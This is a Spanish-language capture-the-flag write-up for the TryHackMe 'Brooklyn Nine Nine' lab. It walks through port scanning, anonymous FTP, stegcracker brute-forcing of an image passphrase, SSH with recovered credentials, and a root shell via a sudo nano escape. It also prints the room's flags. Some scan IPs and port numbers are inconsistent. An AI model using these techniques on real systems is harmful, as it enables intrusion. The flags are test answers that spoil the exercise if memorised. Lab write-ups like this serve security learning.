Informe Técnico

Maquina Brooklyn Nine Nine

Este documento es de aprendizaje y contiene información sensible

29/09/2022

Contenido

TryHackMe

Objetivo

A Bl3ak se le encargó la realización de una prueba de penetración interna hacia TryHackMe. Una prueba de penetración interna es un ataque dedicado contra sistemas conectados internamente. El enfoque de esta prueba es realizar ataques, similares a los de un hacker e intentar infiltrarse en los sistemas internos del laboratorio de TryHackMe - el dominio **Brooklyn Nine Nine**. El objetivo general era evaluar la red, identificar los sistemas y explotar los fallos mientras se informaba de los hallazgos TryHackMe.

Al realizar la prueba de penetración interna, se identificaron varias vulnerabilidades alarmantes en la red de **Brooklyn Nine Nine**. Al realizar los ataques, OS-Bl3ak fue capaz de acceder a múltiples máquinas, principalmente debido a parches obsoletos y configuraciones de seguridad deficientes. Durante las pruebas, Bl3ak tuvo acceso a nivel administrativo a múltiples sistemas. Todos los sistemas fueron explotados con éxito y se les concedió acceso.

Laboratorio

10.10.68.78 – Brooklyn Nine Nine

Descubrimiento y escaneo

WhichSystem.py

mediante el tty, sabemos que es una maquina Linux.

```
whichSystem.py   10.10.68.78
10.10.68.78 (ttl -> 61): Linux
```

whatweb 10.10.68.78

http://10.10.68.78 [200 OK] Apache[2.4.29], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.68.78]

Nmap

```
sudo nmap -p- -sS --min-rate 5000 --open -vvv -n -Pn 10.10.141.49
```

```
PORT    STATE SERVICE
211/tcp open  ftp     syn-ack ttl 61
22/tcp open  ssh     syn-ack ttl 61
80/tcp open  http    syn-ack ttl 61
```

Server IP Address	Ports Open
10.10.68.78	21,22,80

```
nmap -sC -sV -p21,22,80 10.10.66.65
```

```
PORT     STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:10.6.96.73
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0             119 May 17  2020 note_to_jake.txt
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 16:7f:2f:fe:0f:ba:98:77:7d:6d:3e:b6:25:72:c6:a3 (RSA)
|   256 2e:3b:61:59:4b:c4:29:b5:e8:58:39:6f:6f:e9:9b:ee (ECDSA)
|_  256 ab:16:2e:79:20:3c:9b:0a:01:9c:8c:44:26:01:58:04 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

```
nmap --script=vuln -p21,22,80 10.10.66.65
```

```
PORT     STATE SERVICE VERSION
21/tcp open  ftp
22/tcp open  ssh
```

80/tcp open http
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.

Tras inspeccionar las cabeceras HTTP de la página de aterrizaje en el puerto 80 descubrimos que se está ejecutando bajo Apache 2.4.29.

This example creates a full page background image. Try to resize the browser window to see how it always will cover the full screen (when scrolled to top), and that it scales nicely on all screen sizes.

This example creates a full page background image. Try to resize the browser window to see how it always will cover the full screen (when scrolled to top), and that it scales nicely on all screen sizes.

Tras inspeccionar el texto ingresamos a la pagina donde se muestra la imagen con las proporciones adecuadas y descargamos el archivo.

http://10.10.68.78/brooklyn99.jpg


BROOKLYN
NINE-NINE

FTP

FTP 10.10.68.78

```
Connected to 10.10.68.78.
220 (vsFTPd 3.0.3)
Name (10.10.68.78:bl3ak): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||6461|)
150 Here comes the directory listing.
-rw-r--r--    1 0        0             119 May 17  2020 note_to_jake.txt
226 Directory send OK.
```

Descargamos los archivos

```
drwxr-xr-x    2 0        114          4096 May 17  2020 .
drwxr-xr-x    2 0        114          4096 May 17  2020 ..
-rw-r--r--    1 0        0             119 May 17  2020 note_to_jake.txt
```

vemos que información de metadatos contiene cada archivo

cat note_to_jake.txt

```
From Amy,

Jake please change your password. It is too weak and holt will be mad if someone hacks into the nine nine
```

Al inspeccionar el archivo podemos encontrar un nombre de usuario Jake.

STEGHIDE

Tratando de inspeccionar vemos que el archivo aa.jpg contiene información que podría ser de ayuda pero nos pide un password

```
steghide info brooklyn99.jpgg
```

Utilizamos fuerza bruta para encontrar el password

STEGCRACKER

```
stegcracker brooklyn99.jpg
Successfully cracked file with password: admin
```

```
steghide extract -sf brooklyn99.jpg
```

una vez extrayendo los archivos de brooklyn99.jpg obtenemos note.txt

```
cat note.txt
Holts Password:

fluffydog12@ninenine

Enjoy!!
```

Evaluación de vulnerabilidades

Al recopilar la información de cada archivo se depuro los datos y se obtuvo varias credenciales:

holt

fluffydog12@ninenine

Explotación usuario normal

Trataremos de iniciar sesión mediante ssh con las credenciales obtenidas.

```
ssh holt@10.10.68.78 -p 22
fluffydog12@ninenine
```

```
ls
nano.save  user.txt
cat user.txt
```

obtenemos la CTF

ee11cbb19052e40b07aac0ca060c23ee

Explotación usuario root

ahora buscamos algún tipo de escalada de privilegios

```
sudo -l
```

Matching Defaults entries for holt on brookly_nine_nine:

env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User holt may run the following commands on brookly_nine_nine:

(ALL) NOPASSWD: /bin/nano

vemos que podemos ejecutar /bin/nano como root

```
sudo nano
^R^X
reset; sh 1>&0 2>&0
```

```
whoami
```

root

```
ls
```

root.txt

```
cat root.txt
```

obtenemos la CTF

-- Creator : Fsociety2006 --
Congratulations in rooting Brooklyn Nine Nine
Here is the flag: 63a9f0ea7bb98050796b649e85481845

Enjoy!!